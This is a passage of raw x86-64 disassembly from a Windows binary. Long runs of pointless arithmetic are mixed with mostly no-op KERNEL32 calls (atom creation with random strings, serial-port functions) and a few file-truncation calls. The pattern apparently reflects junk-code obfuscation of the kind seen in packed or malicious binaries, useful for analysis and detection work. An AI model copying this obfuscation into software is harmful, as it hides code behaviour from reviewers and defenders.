mov rax, qword [0x14028ead0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d5]
sub eax, ecx
mov rcx, qword [rsp + 0x14f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x15698]
mov rcx, qword [rsp + 0x15b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3b4], eax
mov rax, qword [0x14028eb88]
mov eax, dword [rax]
mov dword [rsp + 0xb66c], eax
mov edx, 0x1c5e
mov rcx, qword [rsp + 0x15450]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xae08], eax
mov eax, dword [rsp + 0xa490]
mov ecx, dword [rsp + 0xaed4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef8], eax
mov eax, dword [rsp + 0xb290]
mov ecx, dword [rsp + 0xa50c]
and ecx, eax
mov eax, ecx
mov dword [0x1402829bc], eax
mov eax, dword [rsp + 0xa374]
mov dword [rsp + 0xb670], eax
movsx eax, byte [rsp + 0x64a]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b7], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14e70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bbc]
add eax, ecx
mov word [rsp + 0x2c84], ax
movzx eax, word [rsp + 0x326c]
mov word [rsp + 0x32ec], ax
movzx eax, byte [rsp + 0x207]
mov rcx, qword [rsp + 0x15230]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x778], al
mov rax, qword [rsp + 0x14f68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ad8]
shr eax, cl
mov dword [rsp + 0x856c], eax
mov rax, qword [rsp + 0x15af0]
mov ecx, dword [rsp + 0x75e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8d3c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov rax, qword [rsp + 0x153c0]
movzx eax, word [rax]
mov word [rsp + 0x32f0], ax
movzx eax, byte [rsp + 0x251]
mov byte [0x14028e9fa], al
mov rax, qword [rsp + 0x15728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14d20]
mov qword [rsp + 0x15bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15bc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb034], eax
mov rax, qword [rsp + 0x15bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa03c], eax
mov eax, dword [rsp + 0x8c08]
mov dword [rsp + 0xb674], eax
mov rax, qword [0x14028ebe0]
mov rcx, qword [rsp + 0x14730]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb434], eax
mov rax, qword [rsp + 0x15908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b20]
add eax, ecx
mov word [rsp + 0x13ec], ax
movzx eax, byte [rsp + 0x7e0]
mov rcx, qword [0x14028ed08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x14fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov dword [rsp + 0xb678], eax
movsx eax, word [rsp + 0x2c2c]
movsx ecx, word [rsp + 0x3220]
add eax, ecx
mov word [0x140282964], ax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, byte [rsp + 0x7b8]
mov byte [rsp + 0x7ea], al
movzx eax, word [rsp + 0x2d7c]
movzx ecx, word [rsp + 0x30d8]
add eax, ecx
mov word [rsp + 0x2cb4], ax
mov rax, qword [rsp + 0x15848]
mov rcx, qword [rsp + 0x14ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x749c], eax
lea rax, [rsp + 0xa508]
mov qword [rsp + 0x15bd0], rax
mov rax, qword [rsp + 0x15118]
mov ecx, dword [rsp + 0x9550]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb128], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9464], eax
mov eax, dword [0x140282840]
movzx ecx, al
mov eax, dword [rsp + 0xa95c]
shl eax, cl
mov dword [rsp + 0xa74c], eax
mov rax, qword [rsp + 0x15190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x153b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7b8], al
lea rdx, [rsp + 0xa5b0]
mov rcx, qword [rsp + 0x15160]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xb67c], eax
movzx eax, word [rsp + 0x3044]
movzx ecx, word [rsp + 0x3034]
xor eax, ecx
mov word [0x140282a28], ax
mov rax, qword [0x14028eae0]
mov eax, dword [rax]
mov dword [rsp + 0xb680], eax
mov rax, qword [rsp + 0x15900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6500], eax
mov rcx, qword [rsp + 0x14d38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xb16c], eax
mov eax, dword [rsp + 0xaff8]
mov dword [rsp + 0xb684], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x14ef0]
mov ecx, dword [rsp + 0x77e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa728], eax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14808]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x340], al
movzx eax, word [rsp + 0x3290]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3268], ax
movsx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0x15608]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x30f4], ax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x7eb], al
mov rax, qword [rsp + 0x14be0]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282a2c], eax
mov eax, dword [rsp + 0xa604]
mov ecx, dword [rsp + 0xb3ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cb4], eax
movzx eax, byte [rsp + 0x6db]
mov byte [rsp + 0x7ec], al
movzx eax, word [rsp + 0x3134]
movzx ecx, word [0x140282870]
sub eax, ecx
mov rcx, qword [rsp + 0x14758]
mov word [rcx], ax
mov eax, dword [rsp + 0x8610]
mov ecx, dword [rsp + 0xab04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x872c], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7824], eax
lea rcx, [rsp + 0x227b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14e50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7bc]
shl eax, cl
mov dword [rsp + 0xaa2c], eax
movzx ecx, word [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3078], ax
mov eax, dword [rsp + 0xab94]
mov dword [rsp + 0xb688], eax
movzx eax, word [rsp + 0x2aec]
movzx ecx, word [rsp + 0x1e20]
sar eax, cl
mov word [rsp + 0x2f44], ax
mov rax, qword [rsp + 0x15578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x159e0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028eba3], al
mov rax, qword [rsp + 0x14f10]
mov ecx, dword [rsp + 0xac1c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb2ec], eax
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
mov dword [rsp + 0xb68c], eax
mov rax, qword [rsp + 0x15258]
mov ecx, dword [rsp + 0xa648]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb104], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor r9d, r9d
lea r8, [rsp + 0x14308]
mov rdx, qword [rsp + 0x14740]
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb690], eax
lea rdx, [rsp + 0xb67c]
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa8fc], eax
lea rcx, str.UsPs3edM_IqCWZ2fzhgtPxrbLAf3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x32f4], ax
mov eax, dword [rsp + 0x76bc]
mov dword [rsp + 0xb694], eax
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa818]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb3dc], eax
movsx eax, word [rsp + 0x2bac]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2008], ax
movsx eax, byte [rsp + 0x35f]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f4], al
movzx eax, byte [0x14028ea1c]
mov rcx, qword [rsp + 0x15230]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x717], al
movzx eax, word [rsp + 0x2d14]
mov word [0x14028e9f8], ax
mov rax, qword [rsp + 0x156c0]
mov eax, dword [rax]
mov dword [rsp + 0xb698], eax
mov eax, dword [rsp + 0x79a4]
mov ecx, dword [0x14028299c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa728], eax
lea rax, [rsp + 0x6ea]
mov qword [rsp + 0x15bd8], rax
mov rax, qword [rsp + 0x158f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15d4]
sub eax, ecx
mov word [rsp + 0x2b28], ax
mov eax, dword [rsp + 0xaa58]
mov ecx, dword [rsp + 0xa9e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15528]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8d9c]
mov dword [rsp + 0xb69c], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xaf34], eax
mov eax, dword [rsp + 0xa4d4]
mov ecx, dword [rsp + 0xaff8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb49c], eax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7504], eax
movzx eax, word [rsp + 0x32e4]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
sar eax, cl
mov byte [rsp + 0x7cd], al
mov rax, qword [rsp + 0x15b40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa3bc]
shl eax, cl
mov rcx, qword [rsp + 0x144a8]
mov dword [rcx], eax
lea rax, [rsp + 0xb208]
mov qword [rsp + 0x15be0], rax
movsx eax, word [rsp + 0x18c8]
mov rcx, qword [rsp + 0x14d00]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15608]
mov word [rcx], ax
mov rax, qword [rsp + 0x14298]
movzx eax, byte [rax]
mov byte [rsp + 0x7ed], al
movzx eax, word [rsp + 0x2160]
movzx ecx, word [rsp + 0x2994]
or eax, ecx
mov word [rsp + 0x2ca0], ax
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e2]
and eax, ecx
mov byte [rsp + 0x6d7], al
mov rax, qword [rsp + 0x14ef0]
mov eax, dword [rax]
mov dword [rsp + 0xb6a0], eax
mov rax, qword [rsp + 0x14aa0]
mov rcx, qword [rsp + 0x144c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282a30], eax
mov rax, qword [rsp + 0x15a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7130]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e4], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ec8], eax
mov rax, qword [rsp + 0x157f8]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xad10], eax
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov word [rsp + 0x32f8], ax
movzx eax, byte [rsp + 0x16a]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x715], al
mov rax, qword [rsp + 0x14e18]
mov ecx, dword [0x14028270c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac24], eax
mov rax, qword [rsp + 0x15800]
mov eax, dword [rax]
mov dword [rsp + 0xb6a4], eax
mov eax, dword [rsp + 0xb530]
mov ecx, dword [rsp + 0xb33c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
mov ecx, dword [0x14028eb74]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028edd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x265c]
movzx ecx, word [rsp + 0x30e8]
or eax, ecx
mov word [rsp + 0x2a88], ax
movzx eax, byte [rsp + 0x67b]
movzx ecx, byte [rsp + 0x34e]
sar eax, cl
mov byte [rsp + 0x7e9], al
mov rcx, qword [rsp + 0x15248]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xb6a8], eax
movsx eax, word [rsp + 0x30bc]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2174], ax
movzx eax, byte [rsp + 0x63b]
mov byte [rsp + 0x7ee], al
movzx ecx, word [rsp + 0x2ee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3240], ax
mov eax, dword [0x140282774]
mov rcx, qword [rsp + 0x14da0]
mov qword [rsp + 0x15be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15be8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb154], eax
lea rax, [rsp + 0xb084]
mov qword [rsp + 0x15bf0], rax
mov rax, qword [rsp + 0x15748]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2bf]
and eax, ecx
mov byte [rsp + 0x74c], al
movzx eax, word [rsp + 0x2b74]
movzx ecx, word [0x14028290c]
sub eax, ecx
mov rcx, qword [rsp + 0x151a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x153f0]
mov rcx, qword [rsp + 0x14f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282a34], eax
mov eax, dword [rsp + 0xaa90]
mov dword [rsp + 0xb6ac], eax
mov rax, qword [rsp + 0x159f0]
mov eax, dword [rax]
mov ecx, dword [0x1402829c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x76bc], eax
mov eax, dword [rsp + 0xa628]
mov dword [rsp + 0xb6b0], eax
movzx eax, byte [rsp + 0x664]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75d], al
mov rax, qword [0x14028eb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x194c]
and eax, ecx
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0x15b38]
mov rcx, qword [rsp + 0x14d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x14768]
mov ecx, dword [0x140282858]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xae14], eax
mov eax, dword [rsp + 0xa57c]
mov dword [rsp + 0xb6b4], eax
mov rax, qword [rsp + 0x15900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa570]
sub ecx, eax
mov eax, ecx
mov dword [0x140282a00], eax
mov rax, qword [rsp + 0x14e48]
mov ecx, dword [0x1402826c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5d0], eax
mov rax, qword [rsp + 0x15950]
movzx eax, byte [rax]
mov byte [rsp + 0x7ef], al
movsx eax, word [rsp + 0x30bc]
mov rcx, qword [rsp + 0x15270]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [0x14028eaf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f4]
shl eax, cl
mov byte [rsp + 0x7bb], al
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0x15bf8], rax
mov rax, qword [rsp + 0x14dd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb640]
shr eax, cl
mov dword [rsp + 0xa9f4], eax
mov rax, qword [0x14028ecc0]
mov ecx, dword [rsp + 0xb1e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6544], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, word [rsp + 0x3034]
mov rcx, qword [rsp + 0x15320]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14e0], ax
lea rax, [rsp + 0x4f2]
mov qword [0x14028e9f0], rax
mov rax, qword [rsp + 0x15030]
mov eax, dword [rax]
mov ecx, dword [0x14028ec3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dbc], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xb6b8], eax
lea rcx, str.EniDx_mm5jJKO_W
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x32fc], ax
mov rax, qword [rsp + 0x14fc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14490]
mov dword [rcx], eax
mov eax, dword [0x140282750]
mov dword [rsp + 0xb6bc], eax
mov rax, qword [rsp + 0x15868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15148]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x31dc], ax
movzx eax, byte [rsp + 0x779]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6f2], al
mov rax, qword [rsp + 0x153d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b10], eax
mov rcx, qword [rsp + 0x15740]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xb108], eax
mov eax, dword [rsp + 0x6f90]
mov ecx, dword [rsp + 0x87e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b4c], eax
mov rax, qword [0x14028eaa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov byte [0x140281df7], al
movzx eax, word [rsp + 0x3010]
mov word [rsp + 0x3300], ax
movzx ecx, word [rsp + 0x2cb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ebc], ax
movzx eax, word [rsp + 0x32ec]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
mov byte [rsp + 0x7f0], al
mov rax, qword [rsp + 0x15808]
mov rcx, qword [rsp + 0x15210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6e8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb6c0], eax
mov eax, dword [rsp + 0x91c0]
movzx ecx, al
mov eax, dword [rsp + 0xadf8]
shr eax, cl
mov dword [rsp + 0xb420], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa864], eax
mov eax, dword [rsp + 0xa53c]
mov ecx, dword [0x1402828cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a2c], eax
mov rax, qword [rsp + 0x15098]
mov rcx, qword [rsp + 0x15078]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xadc4], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov dword [rsp + 0xb6c4], eax
mov rax, qword [0x14028eb58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
shl eax, cl
mov word [rsp + 0x1b68], ax
mov rax, qword [rsp + 0x154d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281f16], al
mov eax, dword [rsp + 0xa4a0]
mov ecx, dword [rsp + 0x7dec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa078], eax
mov eax, dword [rsp + 0xa4e4]
mov dword [rsp + 0xb6c8], eax
mov rax, qword [rsp + 0x15098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa530]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab5c], eax
mov eax, dword [rsp + 0xacf4]
mov ecx, dword [0x1402827f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ad4], eax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6a9], al
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x32f8], ax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x15c00], rax
movsx eax, word [rsp + 0x1478]
movsx ecx, word [rsp + 0x1b34]
sub eax, ecx
mov word [rsp + 0x2f60], ax
mov rax, qword [rsp + 0x151c8]
mov ecx, dword [rsp + 0xb3b4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282968], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x15758]
mov eax, dword [rax]
mov dword [rsp + 0xb6cc], eax
movzx eax, byte [rsp + 0x6b5]
mov rcx, qword [rsp + 0x146e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6d0], al
movzx eax, word [0x140282740]
movzx ecx, word [rsp + 0x302c]
shl eax, cl
mov word [rsp + 0x2d40], ax
mov eax, dword [rsp + 0xab54]
mov dword [rsp + 0xb6d0], eax
mov rax, qword [rsp + 0x15848]
mov rcx, qword [rsp + 0x151e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa790], eax
mov rax, qword [0x14028ea98]
mov eax, dword [rax]
mov dword [rsp + 0xb6d4], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14e50]
mov qword [rsp + 0x15c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb574], eax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1954], ax
mov rax, qword [0x14028eaf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e1]
sub eax, ecx
mov byte [0x140281f02], al
mov rax, qword [rsp + 0x151a8]
mov rcx, qword [rsp + 0x14840]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a18]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x12a1
mov r8d, 0x3b88
mov edx, 0xfa
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa2a4], eax
mov rax, qword [0x14028eb78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74a0], eax
mov eax, dword [rsp + 0xb0e8]
mov dword [rsp + 0xb6d8], eax
mov dword [rsp + 0x25430], 0x114
mov rax, qword [rsp + 0x15448]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x889c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa044], eax
mov rax, qword [rsp + 0x15ba0]
mov eax, dword [rax]
mov dword [rsp + 0xb6dc], eax
movsx eax, word [rsp + 0x2edc]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1404], ax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x795], al
mov rax, qword [0x14028eaf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70f]
add eax, ecx
mov byte [rsp + 0x515], al
movzx eax, word [rsp + 0x194c]
mov word [0x14028e9ec], ax
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8144]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6a0], eax
mov eax, dword [0x14028ebec]
mov dword [rsp + 0xb6e0], eax
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xabf8], eax
movzx eax, word [rsp + 0x2eec]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f48], ax
mov rax, qword [rsp + 0x15648]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e3]
and eax, ecx
mov byte [rsp + 0x73d], al
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x1402826ac]
mov dword [rsp + 0xb6e4], eax
mov eax, dword [rsp + 0xb6a0]
mov ecx, dword [rsp + 0x9120]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
mov rax, qword [rsp + 0x15300]
mov rcx, qword [rsp + 0x15b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6a70], eax
mov eax, dword [rsp + 0xabcc]
mov rcx, qword [rsp + 0x14a88]
mov qword [rsp + 0x15c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb3e4], eax
movzx eax, word [rsp + 0x2f70]
mov rcx, qword [rsp + 0x15060]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140282a38], ax
movzx eax, byte [0x140281de7]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7e2], al
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov dword [rsp + 0xb6e8], eax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9384], eax
mov rax, qword [rsp + 0x15880]
movzx eax, byte [rax]
mov byte [rsp + 0x7f1], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa5b0], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb6ec], eax
mov rax, qword [rsp + 0x15668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x155a8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14b0], ax
mov rax, qword [0x14028ea50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6fc]
sub eax, ecx
mov byte [rsp + 0x686], al
mov rax, qword [rsp + 0x15428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb054], eax
mov rax, qword [rsp + 0x15b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb088]
sub ecx, eax
mov eax, ecx
mov dword [0x14028ecd8], eax
mov eax, dword [rsp + 0xaf30]
mov dword [rsp + 0xb6f0], eax
mov eax, dword [rsp + 0xa100]
mov ecx, dword [rsp + 0xb5bc]
